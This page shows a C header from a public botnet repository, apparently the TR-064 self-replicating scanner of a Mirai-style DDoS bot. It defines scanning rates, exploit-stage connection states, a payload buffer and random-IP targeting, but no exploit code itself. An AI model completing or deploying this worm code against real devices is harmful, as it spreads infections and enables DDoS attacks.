Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/TR064/tr064.h
5038 views
1
#ifdef SELFREP
2
3
#pragma once
4
5
#include <stdint.h>
6
7
#include "includes.h"
8
9
#define tr064_SCANNER_MAX_CONNS 318
10
#define tr064_SCANNER_RAW_PPS 720
11
12
#define tr064_SCANNER_RDBUF_SIZE 830
13
#define tr064_SCANNER_HACK_DRAIN 64
14
15
struct tr064_scanner_connection
16
{
17
int fd, last_recv;
18
enum
19
{
20
tr064_SC_CLOSED,
21
tr064_SC_CONNECTING,
22
tr064_SC_EXPLOIT_STAGE2,
23
tr064_SC_EXPLOIT_STAGE3,
24
} state;
25
ipv4_t dst_addr;
26
uint16_t dst_port;
27
int rdbuf_pos;
28
char rdbuf[tr064_SCANNER_RDBUF_SIZE];
29
char payload_buf[1024];
30
};
31
32
void tr064_scanner_init();
33
void tr064_scanner_kill(void);
34
35
static void tr064_setup_connection(struct tr064_scanner_connection *);
36
static ipv4_t tr064_get_random_ip(void);
37
38
#endif
39
40